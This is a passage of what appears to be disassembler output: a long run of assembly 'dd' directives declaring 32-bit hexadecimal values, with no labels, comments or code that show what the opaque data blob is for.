		dd 0B6A156h, 83D55993h,	6FD9AB5Fh, 93C082Dh, 69CA02FBh
		dd 0C8E4090Ch, 8133BF45h, 9ECC3500h, 0DF8B1069h, 0FAFBB102h
		dd 0D98E0F2Bh, 354988A9h, 0B8E95F12h, 128C15ACh, 1C53C4D1h
		dd 570A5902h, 126E6F5Bh, 8EADAB07h, 0CDC920D6h,	174AD880h
		dd 87949A20h, 1FA31872h, 0BDB5E093h, 5E0F299Ah,	2E0BC32Bh
		dd 11F27311h, 0DE5AF89Fh, 0B0DA8004h, 26EDE810h, 659B3CE9h
		dd 8BC84415h, 0B88EE9C0h, 3EB209F3h, 47449B2Ch,	24494600h
		dd 0CDEAAF03h, 0B5E01EA3h, 167B2658h, 0A9F2857Eh, 0EB61AD3Bh
		dd 5D0F412Bh, 447DC217h, 0A6D1E5DBh, 0CB3824C6h, 85C690F6h
		dd 0DE9E790Eh, 59BC5665h, 5E591C20h, 730B9242h,	903F30F1h
		dd 82C61D81h, 6F3A1356h, 4CA52E7Bh, 355E5907h, 0E9B501F1h
		dd 0BA51E024h, 0EB20FBC5h, 256D9CA5h, 0FCBA0CDh, 0BCE2B2EBh
		dd 0C1198923h, 0A441FC5Dh, 0F80223B9h, 9DC5F56h, 108923D2h
		dd 4012DC84h, 0CEF6DDF9h, 0BB780001h, 891BD70Ah, 0BA003E98h
		dd 30C7B338h, 14A784BEh, 0E0523F74h, 77E8852Ah,	5BF3595Eh
		dd 8501F8BCh, 2B3F97FDh, 0B62065ABh, 44245BC5h,	0AD1F51CEh
		dd 0A0E85Dh, 0BCC825A8h, 0CB2848CAh, 0A07960CAh, 0B313FC92h
		dd 0B718AEC6h, 0C60F3829h, 1D74C109h, 0BD1A02DCh, 6B3C38EDh
		dd 3DB5A0D0h, 0F534807Ah, 4A9752ECh, 8975030Fh,	2514299Dh
		dd 1DF38078h, 1D37FB25h, 0EA5DDC00h, 54680D93h,	9F0BC1F1h
		dd 87377B3Ah, 0B90E15ACh, 90A6A0FFh, 12CCBA60h,	87756A2h
		dd 0F0A50272h, 9050248Ah, 0DB7FDE69h, 401B7009h, 787E536Ah
		dd 8A0483EAh, 0CDB5893Eh, 0E7810590h, 182D1A38h, 0CE60564Ch
		dd 8CA07EBCh, 174C1D86h, 0BD090449h, 89491471h,	0EF1A5B04h
		dd 81660A20h, 0DB4500DFh, 0E1D9BF50h, 219F15EEh, 351DBD66h
		dd 2501B148h, 97E3D185h, 0BC28ADC4h, 38D42E64h,	83E52F61h
		dd 491FA1A4h, 4C5E51E5h, 691734A8h, 0D76FD3FFh,	96EE6002h
		dd 75D4BD46h, 26168908h, 734C60AEh, 6900D8C2h, 0B8BE469Ah
		dd 5A31C987h, 8497645Fh, 0E98C45FAh, 8497A361h,	6B251D90h
		dd 9506004Eh, 5F5851B1h, 7EFC3BBFh, 8A1E302Dh, 100415E1h
		dd 8B0104EDh, 7A05F99Dh, 0DACED741h, 24975624h,	0F35224FDh
		dd 9CBE037Bh, 4E56CF4Bh, 0E4A55D54h, 0B4011EBBh, 5C6AF433h
		dd 0F3B70284h, 1BE5BD83h, 4252317Ch, 3186465h, 0FAC9D53Fh
		dd 4BDB26C1h, 85091704h, 0B3A91949h, 34E64869h,	21105ABEh
		dd 1430E91Ah, 81403775h, 58317D19h, 0C23549BFh,	0F18D2921h
		dd 0A0423F23h, 80269B4Ah, 0DD0DA6FDh, 0B55EE22h, 15F59529h
		dd 4EA6EAFBh, 40194674h, 4C146BC3h, 9EF75AAh, 0E2616AF6h
		dd 0DC79F4F0h, 3746201h, 88A82DFFh, 0F270C43Eh,	2D3E3414h
		dd 0CA6EFEh, 2B1B69EBh,	25FF0CE7h, 0B91A53BCh, 90FB8EC0h
		dd 512D6198h, 0DACAC0AFh, 0FE41F5ACh, 99130ED9h, 6420796Fh
		dd 5FFEB0DDh, 0D49AE71Dh, 29B577h, 210316D3h, 6C090DCFh
		dd 46B57B8h, 9ED15195h,	237671E4h, 0CFDBDFF0h, 0AF9BA706h
		dd 27B0F6D2h, 0AA3234F1h, 0D44BFCh, 0CCE5EAF7h,	455BFC2Eh
		dd 899D3113h, 57CFA4A9h, 951D9544h, 0C387823Ch,	0DCC4DCh
		dd 231EE4BCh, 0F825B075h, 32770097h, 918A0FC6h,	134E3ED6h
		dd 0B860F97Eh, 0CC56099Dh, 9EC06171h, 0B606B5BEh, 0D82B6F7Ah
		dd 23C920CAh, 24E1504Eh, 4BE1BDF0h, 259E8A04h, 2B71AF3h
		dd 7C164DE6h, 50867EF5h, 0CD3E3504h, 8BE114AFh,	0BD09E238h
		dd 133211C5h, 5A505EDBh, 0CC449757h, 0B6BF6E1Fh, 9439700h
		dd 0B3A326h, 870BE740h
		dd 199B523h, 0F58CE8ABh, 2B02F9FBh, 208979DEh, 1B10367Ch
		dd 6F5DE558h, 0EC2824Ah, 0B597584Eh, 69840072h,	7A8D5A8Eh
		dd 4B511E48h, 0A4DC24DEh, 582083Ch, 0B722BE81h,	143F7E84h
		dd 344B7436h, 0E1DAC2F8h, 51A90E4Ah, 0E500653Dh, 478F0A23h
		dd 0D4EF273Eh, 25CEFEE1h, 41C34159h, 0C3290215h, 0DBF5AC5Ch
		dd 42D5203Ah, 6800A4CFh, 0FD6B8A3Eh, 0B0B5876Dh, 2725094Bh
		dd 0F3EA4345h, 89CFCC0Bh, 85310B40h, 60234FFDh,	0C183F5EAh
		dd 822F3795h, 84FB2B2Fh, 0CE7003D2h, 0A9845D82h, 0D8841314h
		dd 31C06EDBh, 0DF109D4Ah, 0D0CAAC5Fh, 12C02758h, 0DE401C2h
		dd 93282359h, 0DA01EBA2h, 29BC7D12h, 18C0CC9Eh,	83748D73h
		dd 0AFB4B604h, 409B5B15h, 0C1A778C5h, 312398Ch,	299BD42Bh
		dd 0CA5CB5C0h, 0E32CE7E8h, 5628C4DBh, 94163927h, 316C80E1h
		dd 295D328Dh, 290EEFh, 2005FDC8h, 0C08B3C15h, 0BA6CF02h
		dd 997A3D44h, 27DC8CBCh, 0CDF052C4h, 0D7825FBEh, 7515F05Bh
		dd 0B30D9637h, 6E7BA256h, 954C0532h, 1C0593Fh, 0B28FEB96h
		dd 9BCE646h, 3111BD03h,	489ADEEDh, 0DCC5F44Fh, 0D5F81907h
		dd 0F120EA5Ch, 0BF85FF43h, 1791DF9Fh, 4F2E7181h, 49A2A02h
		dd 97C01CC8h, 5485814h,	295AA2A6h, 3382989Ch, 115BD10h
		dd 71319029h, 1B6181Bh,	0E7B40E39h, 3FA5F3CFh, 2F10F405h
		dd 0D480CDF8h, 0C4FB6B08h, 74A41B05h, 9282239Dh, 11640A16h
		dd 0B3884B15h, 98EB3869h, 0ABE1AA0Eh, 51E3E520h, 992C1E9Ah
		dd 8D1DFEC3h, 98AC4F6Ch, 0D0EC00DEh, 0B6C6106Eh, 0EA9494DAh
		dd 54FE2DCh, 2EDD21C1h,	0E318263h, 6F2A385Fh, 89AE0142h
		dd 92327535h, 0C86E3FF5h, 0F1FA5900h, 83CF7711h, 0E2B8994Fh
		dd 0D1DB1Ch, 8D09747Fh,	0ABA82A91h, 60890583h, 74B70970h
		dd 803AB1D6h, 7CAD41E2h, 2F010691h, 9522C066h, 3368A0E9h
		dd 6F64A14Eh, 1F7DDFC8h, 0C3DD34h, 4DD54B1Eh, 0E05B223h
		dd 5F32717Fh, 0DE3E20A5h, 374F9C0Ch, 0CF4A2D8h,	2720FEDAh
		dd 0F8C0EB1Ah, 90812C51h, 0CF80EF78h, 0D1C8A0B8h, 7E1DE300h
		dd 503515DDh, 0F4565A52h, 9007BECFh, 5E585A4Fh,	0C4F18BD3h
		dd 7965691h, 0DBB7B0A7h, 76B44425h, 552D255Fh, 0E41C02D1h
		dd 0B40A8641h, 64AD6C83h, 7970D5F3h, 0DAF50272h, 0D1855491h
		dd 271D8A80h, 91BC0617h, 0E2798B40h, 0CBBE00CAh, 0E5E6AC7Ah
		dd 5B130330h, 0EFC42F72h, 0AD6EAFh, 0E319F0E8h,	139DBA65h
		dd 82C4F3C0h, 0F47C9008h, 5AF0D047h, 892A11h, 68B49969h
		dd 8BBB186Eh, 68BBF251h, 0F9A780E1h, 7BDF3E37h,	305600CAh
		dd 5F6A22Ah, 0DE094F3Ah, 7E904561h, 270910E1h, 8009D96Ah
		dd 981F62B5h, 0BA3C9D04h, 0C0A52731h, 0BD6A5ED2h, 0AB7B20C6h
		dd 2128AE1Fh, 5A803F80h, 2D50178Fh, 341891F0h, 33DC8B0Fh
		dd 0A5B76E27h, 6116C465h, 29C87EB7h, 0B6D2795h,	0C52D12E8h
		dd 4DD3FF25h, 0AD60CED1h, 632F89F8h, 3F4EED00h,	0D5852998h
		dd 0E0BA9D16h, 1911349Dh, 0C9FDAC93h, 73DF90E8h, 57A3012Ah
		dd 6AD6022Ch, 891C608Fh, 0B75F2B40h, 0D48FC10h,	773DBF79h
		dd 23908BBDh, 0D50318C7h, 247F010h, 0F4B28126h,	92625F62h
		dd 277104FEh, 0E8DB09C6h, 94FAC70h, 0FD01CD30h,	0B505EB73h
		dd 6CBA1A31h, 0DF8A4F75h, 1D0E3B04h, 16A19D84h,	79E8D4E9h
		dd 0CDCF2527h, 696D682Ah, 3633FB48h, 3DF44B5h, 9B973921h
		dd 0ED985DBFh, 0CCB49C56h, 83056E91h, 0A22505BDh, 73352DC9h
		dd 0C2D2D85Fh, 0EF8D410Ah, 0D508962Dh, 0A5291E30h, 0E92D0BDAh
		dd 0F20B9073h, 848569C7h, 0E934E7E6h, 0B5A98961h, 7652F6B8h
		dd 27AF702Ch, 0F287040h, 0E30D5888h, 1739E0A5h,	5F0ED202h
		dd 5F8F0F4Ch, 0AC617118h, 0D0148D48h, 86575F8Ah, 30B40BF6h
		dd 8BA5694Ch, 2129B513h, 1299F7ACh, 0D7FEC281h,	825B83C4h
		dd 0F9A0D58Ch, 8C1AACC1h, 0DBF90301h, 35D0B911h, 703C63h
		dd 0D262860Ch, 8C2B02ABh, 145B0D01h, 503D79FCh,	84F8E41h
		dd 0DB4E227Ch, 8918099h, 5E5F79BEh, 0B6B9C501h,	557F00D4h
		dd 1CC9AF78h, 9D292D76h, 3290E85Ah, 2FD40A51h, 3FC0F7DBh
		dd 22E4506Bh, 0E058EBEEh, 2033CEF0h, 0EF773182h, 0C8014F97h
		dd 7992B0E0h, 0DA85FF5Fh, 71E46581h, 7965C942h,	43BE809Eh
		dd 0F910E5B2h, 44814D9Dh, 196C6016h, 0E4819DE7h, 0D18A9BDh
		dd 5CEC7ECAh, 5C165E4Fh, 61E09CB6h, 0E5099BD5h,	4DD82B93h
		dd 0BACFC003h, 111262BFh, 71488902h, 0E931731h,	9B97FEDDh
		dd 5CF88069h, 2DD1BF7Fh, 14D3EA28h, 0D7181659h,	90E27B27h
		dd 3C3B8B2Fh, 15007FEEh, 71FB26D1h, 633A0476h, 341D9730h
		dd 675F0304h, 0B35FC3B3h, 0FEB02B5Dh, 4F724DD0h, 804CDE61h
		dd 50F6C7C9h, 0E05601D9h, 9509606Eh, 18422AEDh,	42C9F8BEh
		dd 85905562h, 3EE23BA6h, 86047B71h, 0D18B6097h,	225A90ACh
		dd 0C02B4B44h, 929C7E4Bh, 4C78AC7Dh, 0D24A5409h, 557CC369h
		dd 0A23B00DCh, 5F91671Dh, 0D52DB52Bh, 11F03509h, 0D5D68117h
		dd 0BE8464AAh, 0AE05A5C6h, 0DE0B2B34h, 0A203D219h, 0E1A66D9Ch
		dd 0D4EC796Dh, 9D906C5Dh, 0C33C6D95h, 0B5915803h, 0A6CC3BDDh
		dd 0AFC7BC88h, 93C0614Dh, 0E9A47BBh, 0CB0113B4h, 9897BEC0h
		dd 514A3F23h, 5F0BB6A3h, 0E36F07B9h, 56F42D62h,	0CBF60BEDh
		dd 66274E7Ch, 0DC9C9638h, 0A0B2C00h, 34455887h,	4DE55B65h
		dd 6E29FD55h, 6204AA6Eh, 0AAA47975h, 69BF88h, 898A305h
		dd 6F503C4Fh, 55D01900h, 0A64452B3h, 840F49E6h,	5F11530Bh
		dd 0D7418B62h, 637CC2F5h, 71EEA8C4h, 0C793B0C3h, 6E242EF8h
		dd 2F821C4Fh, 505A7C07h, 0D309FDBFh, 7B5B2C6Ch,	6F1670E6h
		dd 0B7A50F03h, 1D75EEBh, 93A290B4h, 6DC32B48h, 0FB528A44h
		dd 0EDC409FCh, 0B6FCF28Bh, 80C6B7A5h, 0AC6B7BCEh, 4E12AE01h
		dd 0DB40FA3Ah, 0ECBEB024h, 324D0BC9h, 2FD6C08Bh, 6A5FF80Bh
		dd 0B1CD6084h, 85C7801Fh, 0D3F5A395h, 7774BAEDh, 424CF99Bh
		dd 9EF32DEAh, 3B124529h, 0FB1C250Bh, 0A2D0A5EBh, 7ACB2BEDh
		dd 80789A5Ah, 0CF565E08h, 0D18D1689h, 186CB716h, 4B310EE8h
		dd 0E0E3077Eh, 0BFDBC0F5h, 0DCC45EC0h, 52986A35h, 0FC19D13h
		dd 79E647E4h, 72D32AF5h, 0ACD125A4h, 0AE2B2A05h, 0A7F29320h
		dd 870F270Ah, 847009C4h, 39E28188h, 21311512h, 3A23B560h
		dd 41292EC8h, 4B0CA52Dh, 0EE54064Ah, 6C23954Ah,	0F27A1F5Ah
		dd 56677C07h, 5A5760F6h, 0F549FCCCh, 163BBCF6h,	0AD31C14h
		dd 0A7D7D18Bh, 5DC0E7CDh, 2614E17h, 0EDBBA115h,	7F428876h
		dd 6DC5456h, 69AD5CE6h,	0AE164445h, 0F288EF79h,	0DC0E0011h
		dd 0FC3227E7h, 0DF271F7Fh, 0B35650E5h, 0C96B78F1h, 77612012h
		dd 0C8BEA000h, 9D0D2229h, 95A1EB64h, 0F9E21417h, 27566600h
		dd 8E5F40FBh, 0D5F23000h, 0B2BDF1EEh, 4EEF1218h, 659704A9h
		dd 7B600921h, 7D770E8h,	0A8565104h, 0A0F80950h,	0FEB95881h
		dd 83FD05FFh, 8B1215B8h, 484E8D95h, 0EBEDB621h,	0CFF3A546h
		dd 0E70E2AE8h, 0FE692698h, 8971DE52h, 0B27EB589h, 4E8D6096h
		dd 51E99203h, 87A7A285h, 16647A67h, 28602960h, 0E89C10B5h
		dd 1A820092h, 6179D872h, 0EA00CB4Eh, 9997B771h,	285FEDDAh
		dd 208669D5h, 83130D41h, 7C0D01E1h, 0F47D4721h,	9BE608B8h
		dd 0F0D6A819h, 1FC611DAh, 66811711h, 3B3E4EEAh,	9823CF08h
		dd 0FB19250Dh, 0D1C24200h, 0BCB4CD35h, 6B8015B6h, 0CC4A67B3h
		dd 1040CD16h, 0D5604961h
		dd 820093BCh, 0FB675D1h, 4C94A702h, 90C0CD3Ah, 0D763796Ah
		dd 0AE77BA00h, 0BCB2D9A4h, 5E6F2414h, 1C46D65Eh, 0F359C904h
		dd 0BE98C00Fh, 0CCB4A508h, 0F4377F40h, 0F7704D1h, 81CB30BDh
		dd 12146145h, 0EAAD7D85h, 79912B18h, 0D246F78Ah, 8A479D28h
		dd 0E9611564h, 79FE3087h, 0CB252C49h, 0E7737E1Ch, 0B6E610AFh
		dd 0CC00923Ah, 3F3071EDh, 0E66A830Ah, 0C3660BC0h, 35435ABFh
		dd 7EAC9C69h, 0D902F4FBh, 41BA66C9h, 5A4CAB0Bh,	0DC97BE75h
		dd 2AD40E00h, 8719CC7Eh, 0BCBC91A1h, 0BE5DC880h, 0D697CEF4h
		dd 0AE957500h, 4D20C59Ah, 244370C0h, 2640496Fh,	0BED08A4h
		dd 6DA50D29h, 0FF80CF37h, 57DF4164h, 0E82F4800h, 0C277E081h
		dd 12D05DCh, 2530C9B5h,	3E82A5FFh, 2600B86Eh, 87F178A7h
		dd 0B5142909h, 4E2D21CDh, 1DF2D1A3h, 3B659D30h,	0D8020FF4h
		dd 0BF8D1147h, 51859483h, 0B596C8BCh, 0EC1D3120h, 7BCCD38Dh
		dd 0AC1800E3h, 7B2FD1FCh, 7CA713DAh, 0D471A8D3h, 1CF82443h
		dd 9D162066h, 28813437h, 101CA3A9h, 0B796BAA0h,	2340116Fh
		dd 2B4C4F6h, 29198615h,	87749F11h, 0C2721612h, 0B0B32202h
		dd 5E357C62h, 105EFA81h, 0C14168D6h, 5C221325h,	0A065F6D2h
		dd 398DBA71h, 20480B4Fh, 0C632597Ah, 640063ECh,	80DC4C25h
		dd 0DB84AE3h, 493F8A6Fh, 4E06295Ch, 0EA00216Eh,	662DC519h
		dd 1F51BBBFh, 6FAEADE1h, 0B2314054h, 5A29B0C4h,	1E9AD71Fh
		dd 4FB77725h, 7A1A3A06h, 7BEED39Ch, 519D04BBh, 88AA7ACCh
		dd 0FE0ADB6Dh, 560EC2C1h, 0BA040EA0h, 439B4F1Fh, 0F2DB3085h
		dd 8E88580h, 8903A0BFh,	2BF50AE7h, 24BE8CBDh, 56D1A7D3h
		dd 0E0B6F39Ch, 9D89BA2h, 94953B28h, 0EE092170h,	0CD617615h
		dd 22D5C05Ah, 560449D8h, 4E35A8D0h, 124ED2h, 9D6107EBh
		dd 5DE8E94Ah, 8C19FCh, 62A5A04Bh, 0BD89422Fh, 576D4A95h
		dd 8E0C9A37h, 40E546E8h, 0C15E8B18h, 101CBEA2h,	402D1F11h
		dd 2CA3EA8h, 0D600BC54h, 6BFB707Ch, 5EE1362Ch, 5A9001FFh
		dd 3E1AC281h, 0F68935C2h, 96847B5h, 0B50EDF4h, 79B166B5h
		dd 24904458h, 10343Eh, 0EB815BF8h, 7FC9644Dh, 73875C45h
		dd 0FAFC6084h, 81610230h, 277071F3h, 1F7179FFh,	75B58982h
		dd 42240C0Eh, 68AACB17h, 1CF3E387h, 15C9E002h, 4D26EE3Fh
		dd 7AF660h, 82747FF0h, 0E883617Eh, 8925027Dh, 83AD7B14h
		dd 1C8A2970h, 0AB0B1BF0h, 0D95D0500h, 5FE74499h, 220E348h
		dd 85016059h, 0FFA2C4F8h, 7C8D76E3h, 0E3D6E907h, 235612E8h
		dd 0BFCD8017h, 5DCA007Bh, 0AD327EB8h, 0B5E49C6Fh, 26034D16h
		dd 830A90B0h, 0C3685EA2h, 9073D873h, 6CB04603h,	0B02F1FD5h
		dd 3C889F0Fh, 6F007F57h, 0A6143DD8h, 0EF7E08CAh, 0B5FE5D00h
		dd 9904E20Ah, 814C012Ch, 5433FB4Fh, 380EC71Fh, 987AA643h
		dd 0C1202711h, 19484719h, 34588364h, 0A89E421Ah, 302445CCh
		dd 8A316DDAh, 7201CE70h, 719DCF7Eh, 198C62AFh, 429928A3h
		dd 30C06FF0h, 73A9383Eh, 0D8060E34h, 1460DAA5h,	5F7E5D10h
		dd 0D2643300h, 0F4DE1D4Fh, 48280042h, 86CE9481h, 89779308h
		dd 1A216E0Ch, 0CE0B12Fh, 6201BAFh, 5F41D120h, 96C487E1h
		dd 607A0189h, 0ABB1D0Ch, 83D9B923h, 0B6831BA0h,	0CE11070Fh
		dd 8003CBDFh, 1E6FE8D6h, 462119D8h, 3E170330h, 7ACAB19Dh
		dd 3AE15064h, 20DA5D41h, 0C2C8800Fh, 0F5FC5137h, 0EA730CD3h
		dd 0C180A28h, 0B32FA300h, 7742171h, 81F67A5h, 4DECCF08h
		dd 9FEEA8B8h, 0E919608h, 3FE00067h, 47D5FD40h, 0BDA47E1Ch
		dd 9217AF00h, 31B19CA0h, 9491717Ah, 0C2F2E916h,	7F5DA340h
		dd 873E3379h, 0EF5E8AAEh, 70B18057h, 0A20061F1h, 76009CD2h
		dd 0CD1A5D09h, 18FE8ED7h, 20839D6Ah, 720AAB1Fh,	20EED04Fh
		dd 8C81AB70h, 3ECAD8C2h, 5F10487Eh, 9260034Ah, 5B3B3C08h
		dd 8306483h, 52C42171h,	93C90F60h, 0AE05092Ch, 3FD420B7h
		dd 453F3E90h, 236386A6h, 61089B9Eh, 87E02118h, 4782F03Eh
		dd 0E3B0A00h, 5E954810h, 42D41268h, 0B7200F46h,	91305C2Dh
		dd 8E80B060h, 0A3A6473Eh, 0DE12448Ch, 933E8500h, 5058B628h
		dd 0D5D91D71h, 17B78033h, 792289FDh, 0A1B6C0A0h, 87639E00h
		dd 69996B9h, 0C118C36Eh, 58DA4C7Fh, 0B6775848h,	0DDD7DC00h
		dd 0D61B03BBh, 4F08CCC3h, 0AE409821h, 0B44B2EBFh, 50561270h
		dd 0CF23ACC8h, 8F604701h, 7B186408h, 1F4FBF88h,	809D6760h
		dd 0A075AE10h, 0A9C459C6h, 0CA0F711Fh, 0C04E8890h, 0DDD5DCB8h
		dd 4B22CB46h, 0DCB09603h, 863EECh, 665AC671h, 0E1FA3AD9h
		dd 0C5B84400h, 670CE041h, 49C4A016h, 0C10B7487h, 9AD4DE30h
		dd 8818B143h, 0BD006766h, 8628A806h, 43A1417h, 54B7C04Bh
		dd 3CE5CC27h, 0A100CF58h, 372C39C7h, 0B6308ECAh, 87F22126h
		dd 167501B0h, 0D4AE1BACh, 0F521E93Eh, 0A2502357h, 0F61B3076h
		dd 0D9BDB502h, 6088E4C2h, 0A0407A50h, 844F8260h, 0B786B111h
		dd 8C4DAC40h, 0D8DCB504h, 8EB3DDh, 0DCAD9900h, 0E1E7C00Bh
		dd 853E9418h, 0D02C89h,	3DD20D55h, 3C6F496h, 4DDAA63Eh
		dd 0D0D864F4h, 90604460h, 114C0823h, 0BE3E75h, 6CDB9460h
		dd 16265447h, 31E423A2h, 319AA04h, 0C288CB35h, 0FF9C481Dh
		dd 0B61700D7h, 837AD296h, 8CCDA9Eh, 5C2113h, 68AB17D0h
		dd 0FEE8DB60h, 0BC20F498h, 0C454850Dh, 4E8F6073h, 7899266Ah
		dd 0DFFD003Ch, 5AC1B815h, 0B111EC91h, 4A3E9580h, 87ABA6h
		dd 0A83E8CDDh, 0B6015C6Dh, 19C6BB41h, 38209C69h, 0CD184143h
		dd 8CDC48A4h, 14601448h, 88EC84ABh, 0DCBCC052h,	0AB46DDD1h
		dd 9A005122h, 0B9F9DCB4h, 0C2F7A4Bh, 76B2AC84h,	0D40E770h
		dd 3AB60241h, 59DDB83Dh, 0C116C9Dh, 790DC09Eh, 0CAA8401Bh
		dd 0BC10CC28h, 78A18A2Ch, 7628743h, 6404CE99h, 69E3F060h
		dd 5C02E6F1h, 0BA0A2A36h, 6330423Eh, 8402EFDh, 0C049144Bh
		dd 8327870Dh, 61D8E440h, 0CDFE00Fh, 8821F217h, 8D008656h
		dd 0C7F066A1h, 0EB7B91Ah, 74974081h, 9D0600ABh,	0E2EF10EAh
		dd 0B4090BDFh, 276CDCBh, 123DAD8h, 6501A268h, 809086FCh
		dd 22D00FFEh, 0A80C1CA3h, 0A8070CE2h, 1A7E2427h, 6087445Ch
		dd 23B717D6h, 0A11DA96h, 17CF5F00h, 0B1CA0D5Dh,	3D527402h
		dd 41FBC67Ch, 0FD1E060h, 0C077C80Eh, 0EEFBEC66h, 995470F5h
		dd 3F7700F5h, 58E9D9C6h, 94618CEh, 5C088E60h, 0C000E01Ch
		dd 737A604Eh, 283D6A51h, 2090227Bh, 1B08FFD8h, 5B11B8h
		dd 89F11D9Eh, 0E0B0BD9Ah, 0A1782520h, 9218B430h, 0A64B3E0Bh
		dd 24B81CC3h, 4089DAh, 0ACCA5A22h, 0B1E3639h, 8CEE9197h
		dd 741E3F8Eh, 13CC2368h, 8380548h, 7268222Ch, 6050C220h
		dd 0BE662CE2h, 730803B0h, 0A8027729h, 0EF04DDFEh, 8930483Fh
		dd 0E76740AEh, 0B64F4A7h, 4BA0C563h, 120024EBh,	422DCEF2h
		dd 18A21A8h, 80B75671h,	0A975FD72h, 51809880h, 0C21CB8FFh
		dd 23F2001Dh, 68694D9h,	9A4A8A12h, 0B5D41C41h, 71B221D5h
		dd 0D4308DA0h, 5214B817h, 618650EAh, 9D0020CDh,	0F6C2B784h
		dd 0A021C17Bh, 807296B4h, 36143EE0h, 842C861Fh,	0C4FE17D5h
		dd 5E2C28FFh, 1917CE00h, 94BAF01Ah, 0EC4700D4h,	5B86DEE0h
		dd 39267306h, 0ED87B046h, 2B416335h, 0A426361Dh, 536991E0h
		dd 1836A100h, 968812D7h, 48E27727h, 6602D424h, 0AD5708C7h
		dd 25A0404Ch, 8B48A646h, 88E1E040h, 0C561003Eh,	4451992Bh
		dd 9FFEB5ADh, 840594Bh
		dd 53A65017h, 0AA1E0A63h, 2988BBEh, 3E0EF434h, 0A97D2858h
		dd 9048D0BAh, 1D12354h,	8916045h, 0BD000E54h, 4A98604Dh
		dd 550CE729h, 58111B0Ch, 2289109Ah, 0E8104C6Ah,	20388C4Eh
		dd 0A593B62h, 8C1428B6h, 0EA73C480h, 5C63Ch, 98D8D7EBh
		dd 0B71E0103h, 55C1D200h, 96D36E83h, 0DA640118h, 7CE2A7D7h
		dd 5EDC3409h, 0E8F01B5Ch, 46008C4Ch, 0A7728F0Dh, 52189F27h
		dd 8702B4A6h, 2E99F6B9h, 0B6732050h, 47899316h,	0B752D027h
		dd 19DCA010h, 0C55CC8h,	5A7C96E5h, 0C0B28AD8h, 591EF679h
		dd 8C9EE8Eh, 0E4D04506h, 1980600Ah, 97300BE6h, 0F09D5AE0h
		dd 74807711h, 8BC60CDBh, 3D727E0Ah, 45016446h, 77D2899Bh
		dd 0DC96E8BFh, 18742162h, 2433ECDEh, 0CD8011DAh, 4CBE570h
		dd 17EADA0h, 678DA1Eh, 9717E040h, 5E249418h, 40035146h
		dd 0BA700914h, 0A11FEB83h, 46CC971Bh, 10E2D06Ch, 581E6AF4h
		dd 8C12E8F4h, 0A83DD902h, 0C2FDBCF2h, 11E41F3Ch, 9DEC800Bh
		dd 24DDBD24h, 825C9C4Ah, 15B6D4E0h, 98A2B044h, 51D9AC51h
		dd 0E4005F18h, 90249221h, 0C025B6FAh, 1E22C981h, 0B90077A7h
		dd 0DE143DD4h, 27FF4F75h, 88A40163h, 0BD98813Eh, 0A2CC7323h
		dd 0F9043017h, 0C858301h, 1ED0EAA8h, 0FDFC0404h, 86A90B50h
		dd 58200610h, 0E052E460h, 2304DE05h, 0B6840925h, 843DAC10h
		dd 77007AF0h, 0FE24AB2Dh, 3E98DEEh, 30042282h, 601062A9h
		dd 0A6017B95h, 6894A151h, 73C89CDEh, 0CCB102F8h, 0CA7C288Fh
		dd 0FA904160h, 96B491DEh, 0A066CEE0h, 24B64108h, 2188DECh
		dd 11A2D47Eh, 20CA2044h, 0B9C0CC51h, 46DDD4DCh,	26522293h
		dd 34B19Dh, 6E2C0C33h, 9054AB8h, 0A18A8E44h, 0C400B025h
		dd 0DE89A916h, 4F44A16Dh, 9B73448h, 0C3DDD6DCh,	9724001Ch
		dd 5C00DDAFh, 6453770Bh, 22E8D6F4h, 4C7185Ch, 60677844h
		dd 102C91B9h, 0AC3FF300h, 458A8890h, 9D5CB95Dh,	952960C7h
		dd 53715C59h, 0C501CC19h, 843FE700h, 0B7A154BCh, 959A1388h
		dd 0D5544060h, 0B603EC25h, 0B5E00600h, 0A5ECDB4h, 2DC25D8h
		dd 0EA1F3081h, 0C8F03D5Dh, 3FDF0278h, 18503668h, 74DAA609h
		dd 0C4000EEh, 0F0FE7A8Bh, 2D08F421h, 343947B6h,	9C67020Ch
		dd 0FD992320h, 0B246A028h, 493E9402h, 0D859B3A6h, 3E8BDC60h
		dd 0FB70F11h, 4900697Ah, 0BCE318DFh, 0A72E6090h, 0D508606Bh
		dd 17A80068h, 55C5A30Ch, 0E09F10CEh, 0DFFC8FAAh, 0B4500135h
		dd 7FAA111h, 0BCAC3CC7h, 93038C7Ch, 33E226ABh, 519D9052h
		dd 54952819h, 1226A2F0h, 0A6C860F0h, 11889408h,	604983CDh
		dd 0C734F295h, 51C1004Ch, 0A1D5A60h, 0D0878E30h, 537298CEh
		dd 16A2A021h, 2F18F30h,	0F5110C2Dh, 64673FD7h, 6F600B64h
		dd 0B101F3CEh, 872BE19h, 0FC263B24h, 0CE6B87F0h, 4919C00h
		dd 3E57AEA3h, 0B73101DAh, 0B19462A1h, 25706C1Ah, 11F41DC1h
		dd 9AC08705h, 0EF7782E0h, 2E49D792h, 11239Ch, 34219CDEh
		dd 1B4CAEF4h, 248C8A78h, 0BA17D340h, 2CF24A96h,	0CC00608Ch
		dd 6786F117h, 0F49B0CF4h, 4B50046Eh, 0C2A5E2A2h, 0F4D35DB9h
		dd 0E23670h, 9E67999Ah,	1A53CB6Bh, 72CF26h, 30BEA08h, 0C2DA241Eh
		dd 6B063904h, 90806745h, 2A531ACh, 9F87761Dh, 9407A841h
		dd 0F052B685h, 0D400B86Fh, 8A0AF7B4h, 1C09F8DDh, 4885E2B2h
		dd 801492C8h, 3E17C86Ch, 40D81B22h, 429E134Ah, 0A4221CB5h
		dd 764674A0h, 4A18E30Eh, 0F8893921h, 0FADCE454h, 0B6040CBCh
		dd 0D8005719h, 0CD6E4BFDh, 0AEDCDF1Fh, 9980382Eh, 1D120A95h
		dd 0D65602F4h, 0B6AF57A3h, 0F6E26CFAh, 9A718AC0h, 0E5387DC1h
		dd 0ACD09854h, 28A33545h, 0D1829A8h, 1DC2FCE0h,	84BC7960h
		dd 68F4A08Ah, 58EA1046h, 0A31A0B03h, 910E155h, 19B8982Ch
		dd 9AB6018Ch, 7A336B46h, 8DC1C00Dh, 33B4F76h, 361A0473h
		dd 64988A1Fh, 0BC1704D1h, 8B7B0296h, 0CA6200ACh, 0E2F4BD17h
		dd 18AB0E40h, 6E665D7h,	0A82FD823h, 0BD8020A9h,	0A01786D6h
		dd 802D7AF8h, 566216B6h, 5004F2E9h, 0C0CF581Ch,	30219302h
		dd 8CA04986h, 0A6E4BC54h, 6E3B2000h, 84C351DDh,	0D4890008h
		dd 0F8BBD4Dh, 3D7FEDC4h, 0CC01A4A8h, 0E7237301h, 1668388Eh
